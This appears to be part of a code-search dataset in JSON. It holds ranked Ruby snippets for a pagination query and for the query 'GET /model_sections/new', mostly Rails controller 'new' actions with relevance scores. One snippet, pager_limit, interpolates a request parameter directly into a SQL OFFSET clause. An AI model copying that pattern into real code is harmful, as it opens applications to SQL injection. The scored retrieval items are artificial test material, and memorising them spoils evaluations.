"text": "def paginator(*)\n @paginator ||= pagination_setup\n end",
"title": ""
},
{
"docid": "dec9ac0a1905886b6b048328deb11720",
"score": "0.58827335",
"text": "def add_paging_to_class(kls)\n kls.send(:include, Kaminari::ConfigurationMethods)\n kls.class.send(:define_method, Kaminari.config.page_method_name) do |num=0|\n result = limit(default_per_page).offset(default_per_page * ([num.to_i, 1].max - 1))\n result.extend Kaminari::ActiveRecordRelationMethods\n result.extend Kaminari::PageScopeMethods\n result\n end\n end",
"title": ""
},
{
"docid": "2c42bb8f3f2737e555c7775eb82f3115",
"score": "0.58742434",
"text": "def method_missing name, *args\n if name.to_s =~ /^paginated?_(.+)$/\n paginate args[0], args[1], $1, *args[2..-1]\n else\n super name, *args\n end\n end",
"title": ""
},
{
"docid": "7aad1254ae51a4699ba8d9b5e8a1a4cb",
"score": "0.58657587",
"text": "def pages\n end",
"title": ""
},
{
"docid": "7aad1254ae51a4699ba8d9b5e8a1a4cb",
"score": "0.58657587",
"text": "def pages\n end",
"title": ""
},
{
"docid": "9e416762c92907672b35ecb5ab650dc9",
"score": "0.5864231",
"text": "def auto_paginate; end",
"title": ""
},
{
"docid": "d83d3d4d1caffb75a849b6cdadc04e3a",
"score": "0.5862937",
"text": "def per_page\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "982f4b283d76d518ac842de435cad761",
"score": "0.58623487",
"text": "def paginated(current_page: 1)\n prepend paginator: Margrid::Paginator.new(current_page)\n end",
"title": ""
},
{
"docid": "e185cc76db73bbd43403e7e002e7c884",
"score": "0.5832818",
"text": "def per_page; end",
"title": ""
},
{
"docid": "e185cc76db73bbd43403e7e002e7c884",
"score": "0.5832818",
"text": "def per_page; end",
"title": ""
},
{
"docid": "8ac138f6b8ea09e4903044924403951b",
"score": "0.5818674",
"text": "def index\n\n @pagy, @employees = pagy(Employee.all.order(id: :desc), items: 9, page: params[:page])\n \n \n \n end",
"title": ""
},
{
"docid": "cacb36f1830ab0d8e85052ed31840fe3",
"score": "0.5813787",
"text": "def page\n @page || 1\n end",
"title": ""
},
{
"docid": "9fbc8b6a532d151a6102c6d862dcc845",
"score": "0.58100224",
"text": "def page\n options[:page] ? options[:page].to_i : 1\n end",
"title": ""
},
{
"docid": "92d1c59f952719536b9bfa22e625f477",
"score": "0.57776225",
"text": "def paginate_with page:nil, per_page:nil\n @page = page if page\n @per_page = per_page if per_page\n self\n end",
"title": ""
},
{
"docid": "9567883c07174ee1bd0c191f31bf1ba8",
"score": "0.5767386",
"text": "def paginate(options={})\n page = options[:page].to_i if options[:page]\n page ||= 0\n per_page = options[:per_page].to_i if options[:per_page]\n per_page ||= 10\n self.current_page = page\n self.total_pages = self.count / per_page\n self.offset(per_page * page).limit(per_page).decorate\n end",
"title": ""
},
{
"docid": "5c4365d7ac8f5d28be086f374e8b068b",
"score": "0.57510436",
"text": "def has_pager?\n @options[:pager] = RawJS.new(\"#{convert_dom_id(@table_id)} + '_pager'\") if @options[:pager] == true\n @options.has_key?(:pager)\n end",
"title": ""
},
{
"docid": "63dbe462cedaf168395b73c0d4164560",
"score": "0.5749109",
"text": "def add_pager_for(object)\n content_for(:prev_next_object) do\n render(partial: \"application/content/prev_next_pager\",\n locals: { object: object })\n end\n end",
"title": ""
},
{
"docid": "7648287f836cd462eb4b7f34172c1b3c",
"score": "0.5743355",
"text": "def initialize(site, pager, current, all_posts, per_page)\n super(site, current, all_posts, Paginate::Pager.calculate_pages(all_posts, per_page))\n\n @per_page = per_page\n init = (@page - 1) * @per_page\n offset = (init + @per_page - 1) >= all_posts.size ? all_posts.size : (init + @per_page - 1)\n\n @posts = all_posts[init..offset]\n\n @previous_page_path = PTPager.paginate_path(site, pager, @previous_page)\n @next_page_path = PTPager.paginate_path(site, pager, @next_page)\n end",
"title": ""
},
{
"docid": "6344282cf05f75d2cbe28092d62b0733",
"score": "0.5743333",
"text": "def fetch; @data = @pager.fetcher[self.begin, @pager.per_page]; end",
"title": ""
},
{
"docid": "59a149ed160a820d5a1a1fc0dd9a0a2a",
"score": "0.5743283",
"text": "def auto_paging_each(&blk); end",
"title": ""
},
{
"docid": "59a149ed160a820d5a1a1fc0dd9a0a2a",
"score": "0.5743283",
"text": "def auto_paging_each(&blk); end",
"title": ""
},
{
"docid": "55bbdc307ab83343529948c52de49d8b",
"score": "0.5725714",
"text": "def paginate(arg, options = {})\n if arg.instance_of?(Symbol) or arg.instance_of?(String)\n# Use default paginate function.\n collection_id = arg # arg is, e.g., :specs or \"specs\"\n super(collection_id, options)\n else\n# Paginate by hand.\n items = arg # arg is a list of items, e.g., users\n items_per_page = options[:per_page] || 10\n page = (params[:page] || 1).to_i\n result_pages = Paginator.new(self, items.length, items_per_page, page)\n offset = (page - 1) * items_per_page\n [result_pages, items[offset..(offset + items_per_page - 1)]]\n end\n end",
"title": ""
},
{
"docid": "422969d5070c41937910720a41d3f150",
"score": "0.57256323",
"text": "def per(num)\n limit(num).offset((current_page - 1) * num)\n end",
"title": ""
},
{
"docid": "25a851686763cb5804787872ab2fd34d",
"score": "0.5721982",
"text": "def paginated_render(query)\n per_page = 10\n per_page = params[:per_page] if params[:per_page]\n paginate json: query, per_page: per_page\n end",
"title": ""
},
{
"docid": "1fed3f8a03b7c468f1fd7ca90a7babee",
"score": "0.57101834",
"text": "def pagination\n return @pagination if @pagination\n first_page\n @pagination\n end",
"title": ""
},
{
"docid": "1c1d8a2397d80198dde923f9cfb160bb",
"score": "0.57078177",
"text": "def paginate; false; end",
"title": ""
},
{
"docid": "816beaf1bd8825ce0f89a90de2918b65",
"score": "0.5707653",
"text": "def paginate!\n return if defined?(@pagination) && defined?(@list)\n @pagination, @list = pagy(relation)\n end",
"title": ""
},
{
"docid": "06d861f3d2f2852d02e9c50045b4fc9e",
"score": "0.57064027",
"text": "def page(num, params = {})\n base.limit = params[:limit] || params[:per_page] || get_limit\n base.offset = [(num - 1), 0].max.ceil * get_limit\n self\n end",
"title": ""
},
{
"docid": "682641eae3249e906bcd35e3c321362c",
"score": "0.5705218",
"text": "def pagination_pages(options={})\n paginator = options[:paginator] \n \"Página #{paginator.current.number} de #{paginator.page_count}\"\n end",
"title": ""
},
{
"docid": "682641eae3249e906bcd35e3c321362c",
"score": "0.5705218",
"text": "def pagination_pages(options={})\n paginator = options[:paginator] \n \"Página #{paginator.current.number} de #{paginator.page_count}\"\n end",
"title": ""
},
{
"docid": "db3e73b32b886635980027036ab53866",
"score": "0.56977516",
"text": "def prev\n @pager.page(@number - 1) if prev?\n end",
"title": ""
},
{
"docid": "47597227a3fbf39d0441ae8d517999d0",
"score": "0.56976485",
"text": "def paginator\n @my_paginator\n end",
"title": ""
},
{
"docid": "d37dfd58bff88fdcaafb40317bcebdca",
"score": "0.56968117",
"text": "def index\n @pagy, @articles = pagy(Article.order(:created_at => :desc),items: 10)\n end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.56963134",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.56963134",
"text": "def page; end",
"title": ""
},
{
"docid": "39c4ae2ead6ecb0d9e6c5ba2764a0721",
"score": "0.56963134",
"text": "def page; end",
"title": ""
},
{
"docid": "f22917587660ff69f20073d472bb07fe",
"score": "0.56945115",
"text": "def pages; end",
"title": ""
},
{
"docid": "f22917587660ff69f20073d472bb07fe",
"score": "0.56945115",
"text": "def pages; end",
"title": ""
},
{
"docid": "9f75ad50a1749a0675f854ee00f66bc9",
"score": "0.56883246",
"text": "def subscriber_first_page_retrieved\n $tracer.trace(__method__)\n return ToolTag.new(div.className(\"pager\").input.id(\"txtJumpToPage\"), __method__)\n end",
"title": ""
},
{
"docid": "3b77dd77ae6b29095c85da268b125a34",
"score": "0.5678275",
"text": "def adjustPaging (page, lastPage)\n pages = []\n count = 0\n pageCountDisplay = 3\n # 1 2 <3> 4 5\n if(page - pageCountDisplay > 0 && page + pageCountDisplay <= lastPage)\n i = page - pageCountDisplay + 1\n while count < pageCountDisplay * 2 do #for ($i = $page - $pageCountDisplay + 1; $count < $pageCountDisplay * 2; $i++)\n pages << i\n count += 1\n i += 1\n end\n elsif(page - pageCountDisplay <= 0 && page + pageCountDisplay > lastPage) # <1> 2\n i = 2\n while i <= lastPage - 1 do #for($i = 2; $i <= $lastPage - 1; $i++)\n pages << i\n i += 1\n end\n elsif(page - pageCountDisplay <= 0 && page + pageCountDisplay <= lastPage)# <1> 2 3 4 5\n i = 2\n while i < pageCountDisplay * 2 && i < lastPage do #for ($i = 2; $i < $pageCountDisplay * 2 && $i < $lastPage; $i++)\n pages << i\n i += 1\n end\n elsif(page - pageCountDisplay >= 0 && page + pageCountDisplay > lastPage) # 2 3 4 5 <6>\n i = page - pageCountDisplay + 1\n while i <= lastPage - 1 do # for ($i = $page - $pageCountDisplay + 1; $i <= $lastPage-1; $i++)\n pages << i\n i += 1\n end\n end\n pages\n end",
"title": ""
},
{
"docid": "73f9869721205871b5105598b9d15d58",
"score": "0.5673601",
"text": "def pager_limit(limit = 10)\n @scope[\"pager_limit\"] = limit\n offset = request.fetch(PAGER_PARAM, \"0\")\n return \"LIMIT #{limit+1} OFFSET #{offset}\"\n end",
"title": ""
},
{
"docid": "1fab6a4e5e0b2f2bbef67f96286d089b",
"score": "0.56671906",
"text": "def per_page\n 24\n end",
"title": ""
},
{
"docid": "15977d756bbe0afe6ef903d2a308daff",
"score": "0.5666572",
"text": "def paginate(collection_key, uri = request.uri)\n limit = @scope.fetch(\"pager_limit\", 10)\n offset = request.fetch(PAGER_PARAM, 0).to_i\n @scope[\"pager_offset\"] = offset\n @scope[\"pager_next\"] = URI.add_param(uri, PAGER_PARAM, offset-limit) unless 0 == offset\n @scope[\"pager_prev\"] = URI.add_param(uri, PAGER_PARAM, offset+limit) if @scope[collection_key].size > limit\n return offset \n end",
"title": ""
},
{
"docid": "860257ecfd1da148de7b9473c787a502",
"score": "0.56658965",
"text": "def apply_paging_options #:nodoc:\n\n if page = @params['page']\n page = page.to_i\n unless page > 0\n page = 1 \n # page was invalid\n end\n else\n page = 1\n end\n\n if per_page = @params['per_page']\n per_page = per_page.to_i\n unless @per_pages.include?(per_page)\n per_page = @per_pages.first \n # per_page was invalid\n end\n else\n per_page = @per_pages.first\n end\n\n @select['start'] = (page - 1) * per_page\n @select['rows'] = per_page\n\n end",
"title": ""
},
{
"docid": "528e2c8596e777dcea2fe6d3326f477b",
"score": "0.5649308",
"text": "def index\n @pagy, @posts = pagy(Post.all.order(:cached_votes_up => :desc), items: 5)\n end",
"title": ""
},
{
"docid": "c2e151ff07cca42d3ef5bce6eaa714ec",
"score": "0.56443834",
"text": "def stagger_output(text)\n if text.lines.count < page_size || !Pry.pager\n output.puts text\n return\n end\n\n # FIXME! Another JRuby hack\n if Object.const_defined?(:RUBY_ENGINE) && RUBY_ENGINE =~ /jruby/\n simple_pager(text)\n else\n lesspipe { |less| less.puts text }\n end\n rescue Errno::ENOENT\n simple_pager(text)\n rescue Errno::EPIPE\n end",
"title": ""
},
{
"docid": "f0eaa0c73e2b001d16154c947aa05693",
"score": "0.56422955",
"text": "def ctrl_p\n move_cursor (current_page - 1) % total_pages * max_items if total_pages > 1\n end",
"title": ""
},
{
"docid": "78c0b720369b7eb049bfbdbc8fb8f620",
"score": "0.56413716",
"text": "def page(text = nil, path: nil, enabled: true, command: nil,\n **options, &block)\n select_pager(enabled: enabled, command: command).\n page(text, path: path, enabled: enabled, command: command,\n **options, &block)\n end",
"title": ""
},
{
"docid": "594b373ae798ec198d70346f59386f39",
"score": "0.563892",
"text": "def paginated\n @paginated ||= pered\n end",
"title": ""
},
{
"docid": "3e35b148307a65ae792afb7d8fd24325",
"score": "0.56388664",
"text": "def per(*)\n Rails.logger.tagged(\"Kaminari\") { |l| l.debug(\"the per() method is disabled\") }\n return self\n end",
"title": ""
},
{
"docid": "f947e8c4e3c8d5b54c7de8e1b7e237d3",
"score": "0.56351465",
"text": "def page(num, opts = {})\n per_page = opts[:per_page].to_i || 20\n start = per_page * (num - 1)\n self.class.new(@backend, @initial_key, @associated_class,\n @callback_target_class, @callback_target_id, @callbacks, @sort_order,\n self, ::Zermelo::Filters::Steps::ListStep.new({:offset => start,\n :limit => per_page}, {}))\n end",
"title": ""
},
{
"docid": "cbcc06ba7000ee0bc6c43b9d7fa5c6a7",
"score": "0.56332284",
"text": "def more(options={})\n saved = $stdout\n outer = $stdout.equal?($pause_output_out)\n\n enabled = options[:page_pause]\n enabled = enabled.downcase if enabled.is_a?(String)\n\n unless [false, 'false', 'off', 'no'].include?(enabled)\n $stdout = ::PauseOutput::OutputPager.new(options) if outer\n end\n\n yield\n\n rescue PauseOutputStop\n raise unless outer\n return\n\n ensure\n $stdout = saved\n end",
"title": ""
},
{
"docid": "886cd48bf1d59f4c5fffffa03527b9a7",
"score": "0.5627704",
"text": "def pagination(opts = {})\n result = \"\"\n scope = opts[:scope] || Question\n\n\n if scope && (size = scope.page_count) > 1\n page = (params[:page] || 1).to_i\n\n if page > 1\n\n result += partial :'shared/_previous', locals: {page: page}\n\n if page != size\n result += partial :'shared/_next', locals: {page: page}\n end\n else\n if size > 1\n result += partial :'shared/_next', locals: {page: page}\n end\n end\n\n result = \"<div class='pagination'>#{result}</div>\"\n end\n\n result\n end",
"title": ""
},
{
"docid": "355fc5b59380e713434ed16db8f7f1bd",
"score": "0.562343",
"text": "def results_paged\n npg = npages\n ids = result_ids \n first = 0\n ixbound = ids.count \n if npg > 1\n # Clamp current page to last page\n self.cur_page = npg if cur_page > npg\n # Now get index bounds for the records on the page\n first = (cur_page-1)*@@page_length\n last = first+@@page_length\n ixbound = last if ixbound > last\n end\n convert_ids ids[first...ixbound]\n end",
"title": ""
},
{
"docid": "18bbd10041235210faeb6c1cce9e0b09",
"score": "0.56233567",
"text": "def escape_pager(mode=nil)\n\t\t\tcase mode\n\t\t\twhen :orig\n\t\t\t\tstdout=ShellUtils.orig_stdout\n\t\t\t\tstderr=ShellUtils.orig_stderr\n\t\t\t\tstdin=ShellUtils.orig_stdin\n\t\t\telse\n\t\t\t\tstdout=STDOUT\n\t\t\t\tstderr=STDERR\n\t\t\t\tstdin=STDIN\n\t\t\tend\n\t\t\t$stdout.reopen(stdout)\n\t\t\t$stderr.reopen(stderr)\n\t\t\t$stdin.reopen(stdin)\n\t\tend",
"title": ""
}
] |
9b3d0cc8c3a0df2bf140cd052cf9144d | GET /model_sections/new GET /model_sections/new.xml | [
{
"docid": "e57a4188dc64d8d7d92d1d3315245cbb",
"score": "0.7937748",
"text": "def new\n @model_section = ModelSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @model_section }\n end\n end",
"title": ""
}
] | [
{
"docid": "289652507b2b3201560ca987e15d5d80",
"score": "0.7877456",
"text": "def new\n @sections = Section.find(:all) # TODO: refactor so I don't have to repeat this all over the place\n @section = Section.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @section }\n end\n end",
"title": ""
},
{
"docid": "46fe540b2381aac78f2bff5e4368d560",
"score": "0.7535284",
"text": "def new\n @section = Section.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @section }\n end\n end",
"title": ""
},
{
"docid": "40d1f68ac5566f6fc8ab1f6fc1beb89d",
"score": "0.7398907",
"text": "def new\n @make_section = MakeSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @make_section }\n end\n end",
"title": ""
},
{
"docid": "d63ceffe5065dbb731657dc339f15ff3",
"score": "0.7124277",
"text": "def new\n @example_section = ExampleSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @example_section }\n end\n end",
"title": ""
},
{
"docid": "8b34aa6092edeca10b147c2159c7b1ef",
"score": "0.70377135",
"text": "def new\n @car_model_section = CarModelSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @car_model_section }\n end\n end",
"title": ""
},
{
"docid": "944814ae64251b8bb05f73bc108ad423",
"score": "0.70254207",
"text": "def create\n @model_section = ModelSection.new(params[:model_section])\n\n respond_to do |format|\n if @model_section.save\n format.html { redirect_to(@model_section, :notice => 'Model section was successfully created.') }\n format.xml { render :xml => @model_section, :status => :created, :location => @model_section }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @model_section.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "54de042856cf6f7f25d2b0ad043dae6b",
"score": "0.69997734",
"text": "def new\n @page = Page.new\n @page.section_id = params[:section_id]\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "48caa50eceeff5882f02755cded6be9d",
"score": "0.69987094",
"text": "def new\r\n @section = Section.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @section }\r\n end\r\n end",
"title": ""
},
{
"docid": "7e6cfb9f0befc407521a57626c131790",
"score": "0.6991654",
"text": "def new\n @section = Section.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section }\n end\n end",
"title": ""
},
{
"docid": "7e6cfb9f0befc407521a57626c131790",
"score": "0.6991654",
"text": "def new\n @section = Section.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section }\n end\n end",
"title": ""
},
{
"docid": "1453e005e2fe4003a88186df32648cb5",
"score": "0.6891794",
"text": "def new\n @work_piece = WorkPiece.new\n\n @sections = Section.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @work_piece }\n end\n end",
"title": ""
},
{
"docid": "365ccc3cdeccbf20cf512e87f4437597",
"score": "0.6888089",
"text": "def new\n @title = t :new_model_title\n @model = Model.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @model }\n end\n end",
"title": ""
},
{
"docid": "14aba0b5b58e10a431abf5a9672a8812",
"score": "0.68350893",
"text": "def new\n @join_section = JoinSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @join_section }\n end\n end",
"title": ""
},
{
"docid": "26c7248a979f03372230ba999ce44a56",
"score": "0.6803453",
"text": "def new\n @models = self.class.model_class.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @models }\n end\n end",
"title": ""
},
{
"docid": "3556175ab8d466dbe335eba37eb79d0b",
"score": "0.67958546",
"text": "def new\n @simple_model = SimpleModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simple_model }\n end\n end",
"title": ""
},
{
"docid": "6739206a0d18b4bd265b3a8067d36aed",
"score": "0.6789895",
"text": "def new\n @section = Section.new\n\n #@a = Subject.find(params[:subject])\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @section }\n end\n end",
"title": ""
},
{
"docid": "6603930adf3e9ce85df3c45f724b0880",
"score": "0.67673546",
"text": "def new\n @item = Item.new\n @item.section = Section.find(params[:section_id])\n\n respond_to do |format|\n format.html\n # new.html.erb\n format.xml { render :xml => @item }\n end\n end",
"title": ""
},
{
"docid": "99ea754d5d910e73ad03238a716c82ad",
"score": "0.6766092",
"text": "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @part }\n end\n end",
"title": ""
},
{
"docid": "a2d0f70b36ca649efe587153ec2e97b0",
"score": "0.6728145",
"text": "def new\n @section_piece_param = SectionPieceParam.new\n @html_attributes = HtmlAttribute.all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @section_piece_param }\n end\n end",
"title": ""
},
{
"docid": "38570c85ead43746f6b6acacfc5f0d68",
"score": "0.67005813",
"text": "def new\n @menu_section = MenuSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @menu_section }\n end\n end",
"title": ""
},
{
"docid": "f5b016cba021a5496b1236df836811a7",
"score": "0.66886485",
"text": "def new \n @section = 'resume'\n @education = Education.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @education }\n end\n end",
"title": ""
},
{
"docid": "1aa9addaa310fb657c907270c1f3c98c",
"score": "0.66776127",
"text": "def new\n @document = Document.new\n @document.section_identifier = params[:section]\n @categories = Category.find_all_by_section_identifier(params[:section])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document }\n end\n end",
"title": ""
},
{
"docid": "ee5e6f168d892f3a11326c9122abd889",
"score": "0.66545045",
"text": "def new\n @boat_make_section = BoatMakeSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @boat_make_section }\n end\n end",
"title": ""
},
{
"docid": "2d4c125155c5741f3f69b104f58fd790",
"score": "0.66505194",
"text": "def new\n @domicile_type_section = DomicileTypeSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @domicile_type_section }\n end\n end",
"title": ""
},
{
"docid": "223e23de0a08f2f2a9d1d5a0779356d8",
"score": "0.6619783",
"text": "def new\n @page = Page.find(params[:page_id])\n @site_section = @page.site_section\n @article_list = ArticleList.new\n @page_section = @article_list.build_page_section\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article_list }\n end\n end",
"title": ""
},
{
"docid": "591f8c86aa0fe6fe3d4c9d2416f7c200",
"score": "0.6588501",
"text": "def create\n @sections = Section.find(:all)\n @section = Section.new(params[:section])\n\n respond_to do |format|\n if @section.save\n flash[:notice] = 'Section was successfully created.'\n format.html { redirect_to(@section) }\n format.xml { render :xml => @section, :status => :created, :location => @section }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @section.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ca6788173d63cdfe5616b2820fda3a09",
"score": "0.65860265",
"text": "def new\n @segment = Segment.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @segment }\n end\n end",
"title": ""
},
{
"docid": "c79c2ded9508a6bd373f56db2cb856ea",
"score": "0.6555078",
"text": "def new\n @section = Section.new\n\n # If the new section is requested from an existing article page then we have to retain that article for \n # reloading that article's sortings list to include the new section.\n @article = find_article if params[:article_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.js\n format.xml { render :xml => @section }\n end\n end",
"title": ""
},
{
"docid": "775c72de8061871750f8479f7d79c5fe",
"score": "0.65382695",
"text": "def new\n @page = @site.pages.new\n @page.parts << PagePart.new(:name => \"body\")\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @page }\n end\n end",
"title": ""
},
{
"docid": "a83173640f77272bfb6f58a0a65c7e67",
"score": "0.65334994",
"text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"title": ""
},
{
"docid": "0ec9f0618eb61595508e72bd1c9b2cf3",
"score": "0.6531439",
"text": "def new\n @modele = Modele.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @modele }\n end\n end",
"title": ""
},
{
"docid": "f703131c3d82c9bc5c8408f2843f0ec9",
"score": "0.6506861",
"text": "def new\n @moto_town_type_section = MotoTownTypeSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @moto_town_type_section }\n end\n end",
"title": ""
},
{
"docid": "8dbf75dfc07a7990247c08b1601914d9",
"score": "0.64943963",
"text": "def new\n @part_detail = PartDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @part_detail }\n end\n end",
"title": ""
},
{
"docid": "f5eb6b5aed3e5107d929b92317bb8a7c",
"score": "0.64672387",
"text": "def new\n @test_model = TestModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_model }\n end\n end",
"title": ""
},
{
"docid": "6f917382a5ba8e7a5fbf613b92647942",
"score": "0.6464353",
"text": "def new\n @section_heading = SectionHeading.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section_heading }\n end\n end",
"title": ""
},
{
"docid": "a5af02c33ea5869bf7de6aca82a8580e",
"score": "0.64613104",
"text": "def new\n @bpsection = Bpsection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @bpsection }\n end\n end",
"title": ""
},
{
"docid": "cd46df6657d4533bb2c8da62ce94b7a6",
"score": "0.64523226",
"text": "def new\n @centricsteel = Centricsteel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @centricsteel }\n end\n end",
"title": ""
},
{
"docid": "71279bb1ce75c7f6722d06cab8720bdf",
"score": "0.6447101",
"text": "def new\n @estacion = Estacion.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estacion }\n end\n end",
"title": ""
},
{
"docid": "f0b65ecdc4ca1cbde5dffe95620f4810",
"score": "0.6439543",
"text": "def new\n @model_type = ModelType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @model_type }\n end\n end",
"title": ""
},
{
"docid": "32d23e457194194ed523de156ee89693",
"score": "0.6432898",
"text": "def new\n @node = Node.scopied.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n end\n end",
"title": ""
},
{
"docid": "f5250cc830cd570cf34252551880d825",
"score": "0.6429505",
"text": "def new\n @segmento = Segmento.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @segmento }\n end\n end",
"title": ""
},
{
"docid": "e5a493b338b3462f93dc06cf941f5807",
"score": "0.64287055",
"text": "def new\n @sm = Sm.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sm }\n end\n end",
"title": ""
},
{
"docid": "b73e6a56c834fd25f7a9fce89dac53e6",
"score": "0.64286244",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end",
"title": ""
},
{
"docid": "a121c5a9bf593d04ae642680c093ac24",
"score": "0.6422726",
"text": "def new\n @election = Election.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @election }\n end\n end",
"title": ""
},
{
"docid": "dbe12fc5e926888af2759bfa3d0c99b5",
"score": "0.64181006",
"text": "def new\n @network_model = NetworkModel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @network_model }\n end\n end",
"title": ""
},
{
"docid": "d615495fb7aff2920199cb1591c32466",
"score": "0.6414728",
"text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @system }\n end\n end",
"title": ""
},
{
"docid": "b683153778fa45f7853df38360fb97c8",
"score": "0.64068633",
"text": "def new\n @selection = Selection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @selection }\n end\n end",
"title": ""
},
{
"docid": "d2177c44058b5b279819f628af9deac3",
"score": "0.6401415",
"text": "def new\n @machine = Machine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine }\n end\n end",
"title": ""
},
{
"docid": "9a1e63af0c50b20d74f10f589911dac3",
"score": "0.6396249",
"text": "def new\n @section_test = SectionTest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @section_test }\n end\n end",
"title": ""
},
{
"docid": "5a14ef88b7002e879059d8b61c1e76ad",
"score": "0.63849384",
"text": "def new\n @estagio = Estagio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @estagio }\n end\n end",
"title": ""
},
{
"docid": "5634c8f78211f16dbd8fe294b83fd1cd",
"score": "0.6383078",
"text": "def new \n @how_to = HowTo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @how_to }\n end\n end",
"title": ""
},
{
"docid": "fbfa2c2534c74b84efd83b9d6d4e7a04",
"score": "0.6382052",
"text": "def new\n @section = Section.new\n end",
"title": ""
},
{
"docid": "fbfa2c2534c74b84efd83b9d6d4e7a04",
"score": "0.6382052",
"text": "def new\n @section = Section.new\n end",
"title": ""
},
{
"docid": "7b76132caeccc6d314241b6640379cf6",
"score": "0.63817316",
"text": "def new\n @sector = Sector.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sector }\n end\n end",
"title": ""
},
{
"docid": "822f49714ff6ec1efd279d486387cc25",
"score": "0.6379443",
"text": "def new\n @office = Office.new\n\t\t\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @office }\n end\n end",
"title": ""
},
{
"docid": "f6e024864529b1d71cf429b05828b33f",
"score": "0.63708586",
"text": "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end",
"title": ""
},
{
"docid": "1cd3955afe954fd66cdefeb9880ff29d",
"score": "0.6364895",
"text": "def new\n @page_id = \"services\"\n @service = Service.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @service }\n end\n end",
"title": ""
},
{
"docid": "60d877de1ea802f7aa3d2bf8caaa5b73",
"score": "0.6359667",
"text": "def new\n @library = Library.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @library }\n end\n end",
"title": ""
},
{
"docid": "964a3c35447c52983ca42163eb2504e4",
"score": "0.63534",
"text": "def new\n @store_section = StoreSection.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @store_section }\n end\n end",
"title": ""
},
{
"docid": "6e51051a859df5401573863f8a5a62d7",
"score": "0.63426745",
"text": "def new\n @machine = Machine.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @machine }\n end\n end",
"title": ""
},
{
"docid": "c55caf3e5e4d95fa423f3c4d0e5f9298",
"score": "0.63416815",
"text": "def new\n @howto = Howto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @howto }\n end\n end",
"title": ""
},
{
"docid": "c89026204dae4e7ffa575d70b69db639",
"score": "0.6331436",
